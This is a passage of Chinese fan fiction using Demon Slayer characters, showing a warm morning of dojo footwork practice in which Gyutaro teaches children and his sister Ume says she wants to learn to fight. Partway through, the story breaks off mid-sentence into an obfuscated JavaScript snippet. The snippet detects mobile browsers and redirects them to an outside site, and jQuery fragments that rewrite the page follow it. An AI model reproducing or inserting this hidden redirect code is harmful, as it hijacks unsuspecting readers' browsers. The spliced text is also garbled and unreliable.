天刚蒙蒙亮，道场的大门就被“咚咚”地敲响了。


    还不等狛治给他们打开，三个小脑袋就迫不及待地探进来了——是健太他们。这三个孩子自从上次在院子里看妓夫太郎练功后，就像被黏住了一样，每天清早准时报道。


    “庆藏师父早！狛治哥哥早！太郎哥哥早！”


    声音脆生生的，带着小孩子特有的朝气与蓬勃。


    狛治正在院子里摆木桩，闻声头也没抬，“你们三个进来之后记得把鞋脱了放整齐，地上有露水，小心滑，不要摔倒。”


    “好！”


    孩子们手忙脚乱地脱鞋，鞋带系得乱七八糟的，东一只西一只丢在玄关。狛治余光扫见，眉头皱了一下，但没说话。倒是妓夫太郎从屋里走出来，蹲下身，一只只捡起来摆正，又顺手把松掉的鞋带系好。


    “要这样系，”他示范着，“才不容易散。”


    健太挠挠头，“太郎哥哥真细心。”


    妓夫太郎没接话，只是站起身。他身上那套白色练功服已经改得合身了，是恋雪前几天赶出来的。布料干净柔韧，腰间的黑色练功带束得一丝不苟。


    “狛治哥，今天练什么？”他问狛治。


    “步法。”狛治指了指地上用白粉画出的格子，“还是基础的那套，但加上转身。师父说，该教你们怎么在移动中保持重心了。”


    妓夫太郎点点头，走到格子前站定。


    三个孩子立刻有样学样，挨着他排成一排。小不点的个头只到他腰，却挺胸抬头，努力摆出“我很认真”的架势。


    阳光一点点爬上屋檐。


    狛治站在最前面，开始示范。他的动作不快，但每个转身、每个撤步都都十分平稳。脚步踩在格子的交点上，分毫不差。


    “看脚下，别看我的脸。”他说，“重心跟着脚走。转腰的时候，脚要提前挪到位。”


    话没说完，健太左脚绊右脚，“噗通”一声坐在地上。


    旁边两个孩子没憋住，“噗嗤”笑出声。


    健太脸涨得通红，手忙脚乱想爬起来，越急越乱。一只瘦削却有力的手伸到他面前——是妓夫太郎。


    “慢慢来。”妓夫太郎把他拉起来，声音不高，“我第一次练的时候，摔得比你多。”


    “真的？”健太眼睛亮了。


    “嗯。”妓夫太郎松开手，重新站回格子前，“摔倒了再站起来就行。重要的是记住为什么会摔。”


    狛治看了他一眼，眼里有淡淡的笑意，但很快又板起脸，“都站好，重新开始。”


    这一次，孩子们更认真了。


    妓夫太郎在他们中间，动作比狛治稍显生涩，但每个细节都力求标准。转身时腰背绷成一张弓，撤步时脚掌贴着地面滑出去——这是狛治教他的技巧，说能减少声音，实战时不容易被察觉。


    汗水顺着鬓角滑下来，滴在白粉画出的格子上，晕开一个个小小的圆点。


    “哥哥好厉害…”


    廊下传来小小的声音。


    是小梅。她不知什么时候醒了，扒着门框往外看。身上还裹着被子，头发乱蓬蓬的，但眼睛格外亮。


    恋雪跟在她身后，手里拿着梳子，无奈地笑，“小梅，先回来梳头，不然头发会打结的。”


    “我想看哥哥练功。”小梅不肯挪脚，“就一会儿，就一会儿嘛，恋雪姐姐。我就看一小会儿”


    恋雪拗不过她，只好搬了个小凳子坐在廊下，一边给她梳头，一边看着院子里的晨练。


    梳子穿过柔软的发丝，一下，又一下。


    小梅的视线一直跟着哥哥移动。她看见哥哥转身时衣摆扬起一个利落的弧度，看见他脚下的白粉格子被汗水浸得颜色变深，看见他腰间的黑色带子随着动作轻轻晃动。


    “恋雪姐姐，”她忽然小声说，“我也想学。”


    “嗯？”恋雪手上动作不停，“学什么？”


    “学武。”小梅转过头，眼神认真得不像个孩子，“哥哥在学，狛治哥哥在学，健太他们也在学。我也想学。”


    恋雪愣了一下。


    “我想保护大家。”小梅继续说，声音软软的，却很坚定，“哥哥说要保护我，我也想保护哥哥，保护恋雪姐姐，保护庆藏师父，保护狛治哥哥…还有健太他们。”


    她掰着手指数，数到后来手指不够用了，有点着急，“反正就是，想保护所有人。”


    廊下静了一瞬。


    院子里，妓夫太郎刚完成一组转身撤步，正好听见这话。他动作顿了顿，回头看向妹妹。


    晨光里，小梅坐在那儿，头发被恋雪梳成可爱的花苞头，发绳是淡粉色的，还搭上了那支樱花簪，和她的小褂一个颜色。她仰着小脸，眼神干净又执着。


    那一瞬间，妓夫太郎心里有什么东西轻轻动了一下。


    在游郭的那些年，他拼了命地保护妹妹，从没想过。或者说，他也从不敢想，有一天妹妹也会说出“想保护哥哥”。


    因为保护者总是伤痕累累的，他不想让妹妹尝那种滋味。


    可是现在，在这个清晨的道场里，听着妹妹用稚嫩的声音说“想保护所有人”，他忽然觉得…好像也不是不可以。


    “想学的话，”庆藏的声音从主屋门口传来，他披着外衣，手里端着一杯热茶，笑眯眯的，“等小梅再长大一点，身体再好一点，我亲自教你。”


    “真的？”小梅眼睛一下子亮了。


    “真的。你庆藏师父什么时候骗过你们！”庆藏走到廊下，揉了揉她的头，“不过在那之前，得先养好身体，好好吃饭，好好睡觉。练武可是很累的哦。”


    “我不怕累！”小梅挺起小胸脯。


    大家都笑了，院子里洋溢着欢快的气息。


    晨练继续。


    孩子们的动作越来越像样，虽然还是会有磕绊，但摔倒的次数明显少了。健太尤其认真，每次转身都要抿着嘴，眉头皱得紧紧的，仿佛在完成什么重大使命。


    狛治一个个纠正他们的姿势。


    “腰挺直，不是让你往后仰。”


    “脚掌贴地，别抬太高。”


    “呼吸，别忘了呼吸。”


    他话不多，但每句都点在要害上。妓夫太郎在一旁默默听着，偶尔在自己练习时把那些要点在心里过一遍。


    有一回健太练得太投入，转身时没收住力道，整个人往旁边歪去，眼看就要撞上摆在一旁的木桩。


    妓夫太郎几乎是本能地伸手，一把拉住他的后领。


    “小心。”


    健太惊魂未定地站稳，回头看见是妓夫太郎，脸又红了，“谢、谢谢太郎哥哥…”


    “没事。”妓夫太郎松开手，顿了顿，又补了一句，“转身的时候，脚要提前半步到位。你刚才脚落晚了，所以重心不稳。”


    “哦、哦！”健太用力点头，照着试了试，果然稳多了。


    竹雄和宗之介见状，也围过来，“太郎哥哥，那我刚才那个转身呢？”“还有我，还有我，太郎哥哥！我撤步的时候总觉得别扭…”


    妓夫太郎被三个小不点围着，一时有些无措。他下意识地看向狛治，狛治正抱着手臂站在一边，见他看过来，轻轻点了点头。


    那眼神好像在说：你教得不错，继续吧。


    妓夫太郎深吸一口气，蹲下身，让自己和孩子们视线平齐。


    “你，”他指着宗之介，“撤步的时候脚掌要贴着地，别抬起来。像这样——”


    他示范了一遍。


    孩子学着做，虽然还是笨拙，但明显比刚才好多了。


    “还有你，”他又看向竹雄，“转身的时候眼睛要看着要去的方向，别盯着脚下。”


    “好！”


    三个孩子像得了什么秘籍似的，兴高采烈地继续练习。妓夫太郎站起身，看着他们，嘴角不自觉地弯了一下。


    很轻的弧度，不仔细看几乎看不见。


    但狛治看见了。他走到妓夫太郎身边，低声说，“教得不错。”


    “不是…是健太他们学得快。”


    “不，”狛治摇摇头，“是你教得好。知道为什么吗？”


    妓夫太郎看向他。


    “因为你记得自己当初是怎么学会的。”狛治说，“记得那些难点在哪，记得摔过哪些跟头。这样教出来的东西，最实在。”


    妓夫太郎沉默了。


    他确实记得。记得第一次扎马步时大腿抖得像筛糠，记得第一次练拳时怎么都发不对力，记得第一次练步法时摔了多少跤。


    那些疼痛、挫败、还有一点点进步的喜悦，他都记得。


    所以当孩子们遇到同样的困难时，他知道该怎么帮他们。


    “不过，”狛治话锋一转，“你还是太绷着了。”


    “什么？”


    “教孩子的时候。”狛治朝健太他们抬了抬下巴，“可以放松一点。他们不怕你，你用不着那么紧张。”


    妓夫太郎愣了一下。


    紧张吗？好像是有点。因为从来没被人这样围着问过问题，因为从来没当过“被请教”的那个人。在游郭，他是被嫌弃、被驱赶的那个，孩子们看见他都躲着走。


    而现在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919624|192542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，这三个孩子会仰着脸叫他“太郎哥哥”，会眼巴巴地等他指点，会因为他一句夸奖而高兴半天。


    这感觉太陌生了。


    “慢慢来。”狛治拍了拍他的肩，“习惯了就好。”


    晨练结束时，太阳已经完全升起来了。


    孩子们一个个累得满头大汗，但脸上都挂着笑。健太临走前还特意跑到妓夫太郎面前，鞠了一躬，“谢谢太郎哥哥！我明天还来！”


    “嗯。”妓夫太郎点点头，“路上小心。”


    “知道啦！”


    孩子们叽叽喳喳地跑远了。院子里一下子安静下来，只剩下风吹过树梢的声音，还有廊下恋雪和小梅轻声说话的声音。


    狛治开始收拾练习用的木桩。妓夫太郎过去帮忙。


    两人一人抬一头，把沉重的木桩挪到墙角。动作默契，谁也没说话。


    收拾完，狛治忽然问，“小梅说想学武，你怎么想？”


    妓夫太郎动作顿了顿。


    “小梅她身体底子终归差了点，这些年在游郭总是吃不饱穿不暖…”他低声说，“练武又太辛苦…”


    “师父说了，等她身体再好一点。”狛治说，“而且，练武不一定要打打杀杀。强身健体，学点防身的本事，总是好的。”


    妓夫太郎沉默了一会儿。


    他想起了很多事。想起在游郭时，那些朝小梅伸过来的、不怀好意的手；想起自己拼了命挡在她前面，却还是会被打倒在地；想起小梅吓得发抖的样子…


    如果妹妹能学点本事，至少、至少，在面对危险时能跑得快一点，能躲得开一点。


    “嗯。”他终于点了点头，“也好。”


    狛治看了他一眼，没再说什么，只是转身往厨房走，“我去准备早饭。你带恋雪和小梅去洗脸吧。”


    “好。”


    早饭是简单的味噌汤和烤饭团。


    四个人围坐在被炉旁，庆藏坐在主位，慢悠悠地喝着汤。恋雪身体似乎比前些天好了些，能坐直了，只是脸色还是有些苍白。


    小梅挨着哥哥坐，小口小口地吃着饭团，眼睛却一直往庆藏那边瞟。


    “庆藏师父，”她终于忍不住开口，“我什么时候可以开始学呀？”


    庆藏笑了，“小梅这么着急啊？”


    “嗯！”小梅用力点头，“我想快点变厉害，保护大家！”


    “保护大家啊…”庆藏放下碗，认真地看着她，“小梅，你知道保护是什么意思吗？”


    小梅想了想，“就是…不让大家受伤吗？”


    “对，也不对。”庆藏温和地说，“保护，首先是要让自己变强。只有自己强大了，才有能力去保护别人。但变强不是为了欺负人，是为了在有人需要帮助的时候，你能伸出手。”


    他顿了顿，看向妓夫太郎和狛治，“就像你哥哥和狛治哥哥现在做的一样。他们练武，是为了能保护这个家，保护身边的人。”


    小梅似懂非懂地点点头。


    “所以啊，”庆藏摸摸她的头，“想保护大家是好事。但在那之前，要先把自己照顾好。好好吃饭，好好睡觉，把身体养得壮壮的——这就是你现在最重要的修炼，知道吗？”


    “知道啦！”小梅大声应道，然后埋头努力吃饭团，仿佛多吃一口就能离庆藏师父口中的“变强”更近一步。


    饭后，狛治收拾碗筷，妓夫太郎和庆藏留在主屋。


    “师父，”妓夫太郎犹豫了一下，还是开口，“小梅她…真的可以学武吗？”


    庆藏看了他一眼，“担心？”


    “嗯…”妓夫太郎低下头，“她在游郭身体一直不太好，总是生病。练武太累，我怕她吃不消。”


    “我明白。”庆藏叹了口气，“但太郎，你有没有想过，小梅为什么突然说想学武？”


    妓夫太郎愣住了。


    “是因为她看见了你在努力。”庆藏缓缓地说，“看见了你每天早起练功，看见你身上的伤慢慢好起来，看见你变得越来越强。孩子是最会模仿的，尤其是她那么崇拜你。”


    他顿了顿，声音更温和了些，“她想学武，不是因为觉得好玩，而是因为她想变得像你一样——想成为一个能保护别人的人。”


    妓夫太郎喉咙有些发紧。


    “所以啊，”庆藏拍拍他的肩，“这是好事。说明她把这里当家了，把我们都当成真正的家人了。至于身体…慢慢来。先从最基础的开始，不着急。有你在旁边看着，有狛治帮着教，有我这个老头子把关，出不了岔子。”


    “是，师父…”妓夫太郎低声应道。